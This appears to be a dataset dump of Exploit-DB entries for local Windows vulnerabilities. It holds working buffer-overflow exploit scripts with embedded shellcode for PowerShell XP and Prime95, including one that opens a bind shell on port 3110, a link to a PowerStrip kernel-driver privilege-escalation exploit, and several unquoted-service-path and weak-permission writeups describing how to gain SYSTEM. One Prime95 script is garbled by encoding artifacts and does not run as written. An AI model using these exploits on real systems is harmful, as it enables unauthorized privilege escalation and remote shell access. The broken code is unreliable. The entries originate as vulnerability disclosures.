deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15729
Description: PowerShell XP 3.0.1 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-12-12
Author: m_101

Exploit:
#!/usr/bin/python

# vuln finders : kmkz, zadyree, hellpast
# author : m_101
# site   : http://binholic.blogspot.com/
# Exploit Title: PowerShell XP 3.0.1 0day
# Date: 11/12/2010
# Author: m_101
# Software Link: http://www.softpedia.com/progDownload/PowerShell-XP-Download-22529.html
# Version: 3.0.1
# Tested on: Windows XP SP3 English

import sys

if len(sys.argv) < 4:
    print("Usage: %s input output payload" % sys.argv[0])
    print("Payload must be encoded with alpha2 and EAX based
    exit(1)

# get file content
infile = sys.argv[1]
fp = open(infile, 'r')
content = fp.read()
fp.close()

#
fpayload = sys.argv[3]
fp = open(fpayload, 'r')
payload = fp.read()
fp.close()

# first offset ... but not enough room
# ret_offset = 248
ret_offset = 5268

# pop pop ret
ret = "\x9e\x13\x40\x00"

ecx = "\x45\x61\x39\x76"
eax = "\x47\x61\x39\x76"

print("Constructing alignment code")
# alignment code
# dec esp
# dec esp
# dec esp
# dec esp
align = 'L' * 4
# push esp  ; save current esp register
align += 'T'
# pop edx   ; save in edx
align += 'Z'
# pop esp (make esp point to data)
align += '\\'
# push edx  ; old esp register
align += 'R'    # edi
# popad
align += 'a'

# align += ecx
# align += eax

# we get actual value (for later restore ;))
# pop ecx
# push ecx
align += "\x59\x51"
# push esp
# pop eax       ; here the code is adjusted but we still need to restore old stack
align += 'TX'
# we repatch the stack (or we may have bad memory access ;))
# push ecx
align += "\x51"
# we don't want our current instructions to be crushed
# dec esp * 4
align += 'L' * 8
# push edi  ; old stack
align += 'W'
# pop esp   ; restore old stack
align += '\\'
# junk bytes
align += 'K' * 4 # scrape space (esp point here)

# buffer need to be long enough ;)
print("Padding")

print("Constructing payload")
msg = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIhkS62xKYc5wpC0uP9xZUKOkOyonahlwP5PEPuPK9kUOySuc8kXf6Gp5Ps0Phnn0NdNzLPPm81yS05Ps0NiQUuPLKsmEXmQO38WePEP5PPSYoPUuPsXMxOR2mMlPPKXrnePgpwpOyG5Vd0h5P7p5PuPLKCm38mQksJB5PC05PpSLKSmS8NaiSJMgpgpwpQCSXwpuPS0GpKOpUTDlKBedHmks9uRWp5PvazxioKP01O0PdUS3ptp1hvlLKQPTLnkRPglnMNkcpS8XkUYNk1PttnmCpsLnksp7LySQpnkbLddQ4lKPE5lLKrtuUrX5Q8jLK3zTXNkQJ5peQXkysvWSyNkP4LKuQXnTq9otqyPKLNLMTKp444JyQXOTMWqKwyyIaKOKOKOwKcL145x45YNLK3jTdeQ8kCVNkflbkNk0ZULs18klKuTLKgqKXLIW4VDglE1hBUXWpt5cC1uBRUcGBfN2DPl0lWpaXpa2C2K3UpdTaup7JUyuPPPu1RWPnQuPdupsRaiUpBMcotqtpvQWpA"
payload = msg + payload
print("Payload size : %u" % len(payload))
# let's have the minimum correct buffer length!
padding = (ret_offset - len(payload) - len(align)) * 'C'

print("Constructing egg")
egg = align + payload + padding + ret
print("Egg size : %u" % len(egg))

modified = content.replace('TESTTEST', egg)

# working
outfile = sys.argv[2]
print ("Writing exploit file : %s" % outfile)
fp = open(outfile, 'w')
fp.write(modified)
fp.close()
Exploit-DB #7533
Description: PowerStrip 3.84 - 'pstrip.sys' Local Privilege Escalation
Type: local
Platform: windows
Date: 2008-12-21
Author: NT Internals

Exploit:
////////////////////////////////////////////////////////////////////////////////////
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | EnTech Taiwan - http://www.entechtaiwan.com/                               | //
// |                                                                            | //
// | Affected Software:                                                         | //
// | PowerStrip <= 3.84                                                         | //
// |                                                                            | //
// | Affected Driver:                                                           | //
// | PowerStrip support NT kernel-mode driver - pstrip.sys <= 5.0.1.1           | //
// |                                                                            | //
// | Local Privilege Escalation Exploit                                         | //
// | For Educational Purposes Only !                                            | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | NT Internals - http://www.ntinternals.org/                                 | //
// | alex ntinternals org                                                       | //
// | 20 December 2008                                                           | //
// |                                                                            | //
// | References:                                                                | //
// | Exploiting Common Flaws in Drivers                                         | //
// | Ruben Santamarta - http://reversemode.com/                                 | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
////////////////////////////////////////////////////////////////////////////////////

Exploit:
http://www.ntinternals.org/ntiadv0810/PowerStrip_Exp.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7533.zip (2008-PowerStrip_Exp.zip)
 
Advisory:
http://www.ntinternals.org/ntiadv0810/ntiadv0810.html

# milw0rm.com [2008-12-21]
Exploit-DB #48967
Description: Prey 1.9.6 - _CronService_ Unquoted Service Path
Type: local
Platform: windows
Date: 2020-10-28
Author: Ömer Tuygun

Exploit:
# Exploit Title: Prey 1.9.6 - "CronService" Unquoted Service Path
# Discovery by: Ömer Tuygun
# Discovery Date:16.10.2020
# Vendor Homepage: https://preyproject.com/
# Software Link: https://preyproject.com/download/
# Tested Version: 1.9.6
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Description:
A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other
security applications
where it could potentially be executed during application startup or
reboot. If successful, the local user's code would execute with the
elevated privileges
of the application.



C:\Users>wmic service get name, pathname, displayname, startmode |
findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Prey" |
findstr /i /v """
Cron Service
               CronService
C:\Program Files (x86)\Prey\wpxsvc.exe



                                            Auto

C:\Users>sc qc CronService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: CronService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Prey\wpxsvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Cron Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users>
Exploit-DB #44649
Description: Prime95 29.4b8 - Stack Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2018-05-18
Author: crash_manucoot

Exploit:
# Exploit Title: Prime95 Local Buffer Overflow (SEH)
# Date: 13-4-2018
# Exploit Author: crash_manucoot
# Contact: twitter.com/crash_manucoot
# Vendor Homepage: https://www.mersenne.org/
# Software Link: https://www.mersenne.org/download/#download
# Version: 29.4b8
# Tested on: Windows 10 Pro x64 SPANISH Windows 7 Home Premium x86 SPANISH Windows XP SP3 SPANISH 
# Category: Windows Local Exploit
# How to use: open the program go to test-PrimeNet-check the square-Connections paste the contents of open.txt in the optional proxy hostname field and the calculator will open

buffer = "A" * 660
nseh = "\xeb\x06\x90\x90" 
seh = "\x6B\xB0\xED\x6A" #pop esi # pop ebx # ret  |  {PAGE_EXECUTE_READ} [libgmp-10.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0
nop = "\x90" * 16

#msfvenom -p windows/exec CMD=calc.exe -b "\x00" -f python -v shellcode
shellcode =  ""
shellcode += "\xbf\xc6\xde\x94\x3e\xda\xd0\xd9\x74\x24\xf4\x5d"
shellcode += "\x31\xc9\xb1\x31\x31\x7d\x13\x03\x7d\x13\x83\xc5"
shellcode += "\xc2\x3c\x61\xc2\x22\x42\x8a\x3b\xb2\x23\x02\xde"
shellcode += "\x83\x63\x70\xaa\xb3\x53\xf2\xfe\x3f\x1f\x56\xeb"
shellcode += "\xb4\x6d\x7f\x1c\x7d\xdb\x59\x13\x7e\x70\x99\x32"
shellcode += "\xfc\x8b\xce\x94\x3d\x44\x03\xd4\x7a\xb9\xee\x84"
shellcode += "\xd3\xb5\x5d\x39\x50\x83\x5d\xb2\x2a\x05\xe6\x27"
shellcode += "\xfa\x24\xc7\xf9\x71\x7f\xc7\xf8\x56\x0b\x4e\xe3"
shellcode += "\xbb\x36\x18\x98\x0f\xcc\x9b\x48\x5e\x2d\x37\xb5"
shellcode += "\x6f\xdc\x49\xf1\x57\x3f\x3c\x0b\xa4\xc2\x47\xc8"
shellcode += "\xd7\x18\xcd\xcb\x7f\xea\x75\x30\x7e\x3f\xe3\xb3"
shellcode += "\x8c\xf4\x67\x9b\x90\x0b\xab\x97\xac\x80\x4a\x78"
shellcode += "\x25\xd2\x68\x5c\x6e\x80\x11\xc5\xca\x67\x2d\x15"
shellcode += "\xb5\xd8\x8b\x5d\x5b\x0c\xa6\x3f\x31\xd3\x34\x3a"
shellcode += "\x77\xd3\x46\x45\x27\xbc\x77\xce\xa8\xbb\x87\x05"
shellcode += "\x8d\x34\xc2\x04\xa7\xdc\x8b\xdc\xfa\x80\x2b\x0b"
shellcode += "\x38\xbd\xaf\xbe\xc0\x3a\xaf\xca\xc5\x07\x77\x26"
shellcode += "\xb7\x18\x12\x48\x64\x18\x37\x2b\xeb\x8a\xdb\x82"
shellcode += "\x8e\x2a\x79\xdb"

evil = buffer + nseh + seh + nop + shellcode

file = open('open.txt','w+')
file.write(evil)
file.close()
Exploit-DB #47802
Description: Prime95 Version 29.8 build 6 - Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2019-12-23
Author: stresser

Exploit:
# Exploit Title: Prime95 Version 29.8 build 6 - Buffer Overflow (SEH)
# Date: 2019-12-22
# Vendor Homepage: https://www.mersenne.org
# Software Link:   http://www.mersenne.org/ftp_root/gimps/p95v298b6.win32.zip
# Exploit Author: Achilles
# Tested Version: 29.8 build 6
# Tested on: Windows 7 x64

# 1.- Run python code:Prime95.py
# 2.- Open EVIL.txt and copy content to Clipboard
# 3.- Open Prime95.exe go to PrimeNet
# 4.- Paste the Content of EVIL.txt into the field "Optional User ID and Optional Computer Name"
# 5.- Click Connection Paste the Content of EVIL.txt into the field "Option al proxy Host"
# 6.- Press ok Twice and you will have a bind shell port 3110
# 7.- Greetings go:XiDreamzzXi,Metatron

#!/usr/bin/env python

import struct

buffer =3D "\x41" * 660
nseh =3D "\xeb\x06\x90\x90" #jmp short 6
seh  =3D  struct.pack('<L',0x6ee410b1) #libhwloc-15.dll
nops =3D  "\x90" * 20

#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=3110 -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -i 1 -f python
#badchars "\x00\x0a\x0d"
shellcode =3D ("\xb8\xf4\xc0\x2a\xd0\xdb\xd8\xd9\x74\x24\xf4\x5a\x2b"=20
"\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc\x03\xb6\xce\xc8"
"\x25\xca\x27\x8e\xc6\x32\xb8\xef\x4f\xd7\x89\x2f\x2b"
"\x9c\xba\x9f\x3f\xf0\x36\x6b\x6d\xe0\xcd\x19\xba\x07"
"\x65\x97\x9c\x26\x76\x84\xdd\x29\xf4\xd7\x31\x89\xc5"
"\x17\x44\xc8\x02\x45\xa5\x98\xdb\x01\x18\x0c\x6f\x5f"
"\xa1\xa7\x23\x71\xa1\x54\xf3\x70\x80\xcb\x8f\x2a\x02"
"\xea\x5c\x47\x0b\xf4\x81\x62\xc5\x8f\x72\x18\xd4\x59"
"\x4b\xe1\x7b\xa4\x63\x10\x85\xe1\x44\xcb\xf0\x1b\xb7"
"\x76\x03\xd8\xc5\xac\x86\xfa\x6e\x26\x30\x26\x8e\xeb"
"\xa7\xad\x9c\x40\xa3\xe9\x80\x57\x60\x82\xbd\xdc\x87"
"\x44\x34\xa6\xa3\x40\x1c\x7c\xcd\xd1\xf8\xd3\xf2\x01"
"\xa3\x8c\x56\x4a\x4e\xd8\xea\x11\x07\x2d\xc7\xa9\xd7"
"\x39\x50\xda\xe5\xe6\xca\x74\x46\x6e\xd5\x83\xa9\x45"
"\xa1\x1b\x54\x66\xd2\x32\x93\x32\x82\x2c\x32\x3b\x49"
"\xac\xbb\xee\xe4\xa4\x1a\x41\x1b\x49\xdc\x31\x9b\xe1"
"\xb5\x5b\x14\xde\xa6\x63\xfe\x77\x4e\x9e\x01\x7b\xa9"
"\x17\xe7\xe9\xa5\x71\xbf\x85\x07\xa6\x08\x32\x77\x8c"
"\x20\xd4\x30\xc6\xf7\xdb\xc0\xcc\x5f\x4b\x4b\x03\x64"
"\x6a\x4c\x0e\xcc\xfb\xdb\xc4\x9d\x4e\x7d\xd8\xb7\x38"
"\x1e\x4b\x5c\xb8\x69\x70\xcb\xef\x3e\x46\x02\x65\xd3"
"\xf1\xbc\x9b\x2e\x67\x86\x1f\xf5\x54\x09\x9e\x78\xe0"
"\x2d\xb0\x44\xe9\x69\xe4\x18\xbc\x27\x52\xdf\x16\x86"
"\x0c\x89\xc5\x40\xd8\x4c\x26\x53\x9e\x50\x63\x25\x7e"
"\xe0\xda\x70\x81\xcd\x8a\x74\xfa\x33\x2b\x7a\xd1\xf7"
"\x5b\x31\x7b\x51\xf4\x9c\xee\xe3\x99\x1e\xc5\x20\xa4"
"\x9c\xef\xd8\x53\xbc\x9a\xdd\x18\x7a\x77\xac\x31\xef"
"\x77\x03\x31\x3a")
payload =3D buffer + nseh + seh + nops + shellcode

try:
Dopen("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
Exploit-DB #49623
Description: Print Job Accounting 4.4.10 - 'OkiJaSvc' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-08
Author: Brian Rodriguez

Exploit:
# Exploit Title: Print Job Accounting 4.4.10 - 'OkiJaSvc' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 07-03-2021
# Vendor Homepage: https://www.oki.com
# Software Links: https://www.oki.com/mx/printing/support/drivers-and-utilities/?id=46229002&tab=drivers-and-utilities&productCategory=monochrome&sku=62442301&os=ab4&lang=ac6
# Tested Version: 4.4.10
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 8.1 Pro 64 bits

C:\Windows\system32>wmic service get name, displayname, pathname, startmode
| findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """ OKI
Local Port Manager OpLclSrv C:\Program
Files\Okidata\Common\Extend3\portmgrsrv.exe Print Job Accounting OkiJaSvc
C:\Program Files\Okidata\Print Job Accounting\oklogsvc.exe Print Job
Accounting Watch Service OkiWchSvc C:\Program Files\Okidata\Print Job
Accounting\okwchsvc.exe Print Job Accounting opja0004 opja0004 C:\Program
Files\Okidata\Print Job Accounting\opja0004.exe

C:\Windows\system32>sc qc OkiJaSvc
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: OkiJaSvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Okidata\Print Job Accounting\oklogsvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Print Job Accounting
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #49023
Description: Privacy Drive v3.17.0 - 'pdsvc.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-09
Author: Mohammed Alshehri

Exploit:
# Exploit Title: Privacy Drive v3.17.0 - 'pdsvc.exe' Unquoted Service Path
# Date: 2020-8-20
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: https://www.cybertronsoft.com/
# Software Link: https://www.cybertronsoft.com/download/privacy-drive-setup.exe
# Version: Version 3.17.0 Build 1456
# Tested on: Microsoft Windows Server 2019 Standard 10.0.17763 N/A Build 17763

# Service info:

C:\Users\m507>sc qc PDSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: PDSvc
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Cybertron\Privacy Drive\pdsvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : PrivacyDrive Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>

# Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.
Exploit-DB #35322
Description: Privacyware Privatefirewall 7.0 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2014-11-22
Author: LiquidWorm

Exploit:
Privacyware Privatefirewall 7.0 Unquoted Service Path Privilege Escalation


Vendor: PWI, Inc.
Product web page: http://www.privacyware.com
Affected version: 7.0.30.3


Summary: Privatefirewall multi-layered endpoint security software protects
32 and 64 bit Windows desktops and servers from malware and unauthorized use.
Personal firewall, packet inspection, URL filtering, anti-logger, process
monitor, and application/system behavior modeling and anomaly detection
components stop hackers, spyware, viruses and other forms of malware before
they can cause damage.

Desc: Privatefirewall suffers from an unquoted search path issue impacting
the Core Service 'PFNet' service for Windows deployed as part of Privatefirewall
bundle. This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system. A
successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local users code would execute with the elevated privileges
of the application.

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Microsoft Windows 7 Ultimate SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5209
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5209.php


09.11.2014

---


C:\Users\user>sc qc PFNet
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: PFNet
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Privacyware\Privatefirewall 7.0\pfsvc.exe
        LOAD_ORDER_GROUP   : TDI
        TAG                : 0
        DISPLAY_NAME       : Privacyware network service
        DEPENDENCIES       : RpcSs
        SERVICE_START_NAME : LocalSystem


--

C:\Users\user>icacls "C:\Program Files (x86)\Privacyware\Privatefirewall 7.0\pfsvc.exe"
C:\Program Files (x86)\Privacyware\Privatefirewall 7.0\pfsvc.exe NT AUTHORITY\SYSTEM:(I)(F)
                                                                 BUILTIN\Administrators:(I)(F)
                                                                 BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files


--
Exploit-DB #50804
Description: Private Internet Access 3.3 - 'pia-service' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-03-07
Author: Saud Alenazi

Exploit:
# Exploit Title: Private Internet Access 3.3 - 'pia-service' Unquoted Service Path
# Date: 04/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.privateinternetaccess.com
# Software Link: https://www.privateinternetaccess.com/download
# Version: 3.3.0.100
# Tested: Windows 10 x64
# Contact: https://twitter.com/dmaral3noz

# Step to discover Unquoted Service Path:

C:\Users\saudh>wmic service where 'name like "%PrivateInternetAccessService%"' get name, displayname, pathname, startmode, startname

DisplayName                      Name                          PathName                                                    StartMode  StartName
Private Internet Access Service  PrivateInternetAccessService  "C:\Program Files\Private Internet Access\pia-service.exe"  Auto       LocalSystem

# Service info:

C:\Users\saudh>sc qc PrivateInternetAccessService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: PrivateInternetAccessService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\Private Internet Access\pia-service.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Private Internet Access Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #48966
Description: Program Access Controller v1.2.0.0 - 'PACService.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-10-28
Author: Mohammed Alshehri

Exploit:
# Exploit Title: Program Access Controller v1.2.0.0 - 'PACService.exe' Unquoted Service Path
# Date: 2020-8-25
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: https://www.gearboxcomputers.com/
# Software Link: https://www.gearboxcomputers.com/files/ProgramAccessController.exe
# Version: 1.2.0.0
# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763

# Service info:

C:\Users\m507>sc qc PACSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: PACSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Program Access Controller\PACService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : PAC Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>

# Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.
Exploit-DB #46988
Description: Pronestor Health Monitoring < 8.1.11.0 - Privilege Escalation
Type: local
Platform: windows
Date: 2019-06-13
Author: PovlTekstTV

Exploit:
[Summary]
The Pronestor service "PNHM" (aka Health Monitoring or HealthMonitor) 
before 8.1.12.0 has "BUILTIN\Users:(I)(F)" permissions for 
the "%PROGRAMFILES(X86)%\proNestor\Outlook add-in for Pronestor\PronestorHealthMonitor.exe" file, 
which allows local users to gain privileges via a Trojan horse PronestorHealthMonitor.exe file.

During the installation of Pronestors Outlook-Add-In (version 8.1.11.0 
and older) the installer creates a service named PNHM (Pronester 
Health Monitoring) with weak file permission running as SYSTEM.
The vulnerability allows all "Authenticated Users" to potentially 
execute arbitrary code as SYSTEM on the local system.

[Additional Information]
Tested on Windows 7.
Version: Outlook Add-In 8.1.11.0 and older
Also tested on version 5.1.6.0 with same result.
Discovered: 06-nov-2018
Reported: 07-nov-2018

Vendor: https://www.pronestor.com/
Vendor confirmed: True
Fixed: Version 8.1.12.0
Attack Type: Local Privilege Escalation
Vulnerability due to: Insecure Permissions
Discoverer: PovlTekstTV
CVE: 2018-19113
Original link: https://gist.github.com/povlteksttv/8f990e11576e1e90e8fb61acf8646d28

[Proof]
C:\Users\povltekst>sc qc PNHM

SERVICE_NAME: PNHM
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files (x86)\proNestor\Outlook add-in for Pronestor\PronestorHealthMonitor.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Pronestor HealthMonitor
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\povltekst>icacls 'C:\Program Files (x86)\proNestor\Outlook add-in for Pronestor\PronestorHealthMonitor.exe'
C:\Program Files (x86)\proNestor\Outlook add-in for Pronestor\PronestorHealthMonitor.exe
         BUILTIN\Users:(I)(F)
         NT AUTHORITY\SYSTEM:(I)(F)
         BUILTIN\Administrators:(I)(F)

Notice: "BUILIN\Users:(I)(F)". (F) = Full access!
This means that an authenticated user can change the file

[Attack Vectors]
Replace the file "PronestorHealthMonitor.exe" with a malicious file 
also called "PronesterHealthMonitor.exe". Next time the service (PNHM) 
starts, the malicious file will get executed as SYSTEM. The service 
starts on every reboot.

[Affected Component]
PronestorHealthMonitor.exe
This exe will be executed on every reboot by a service named PNHM running as SYSTEM.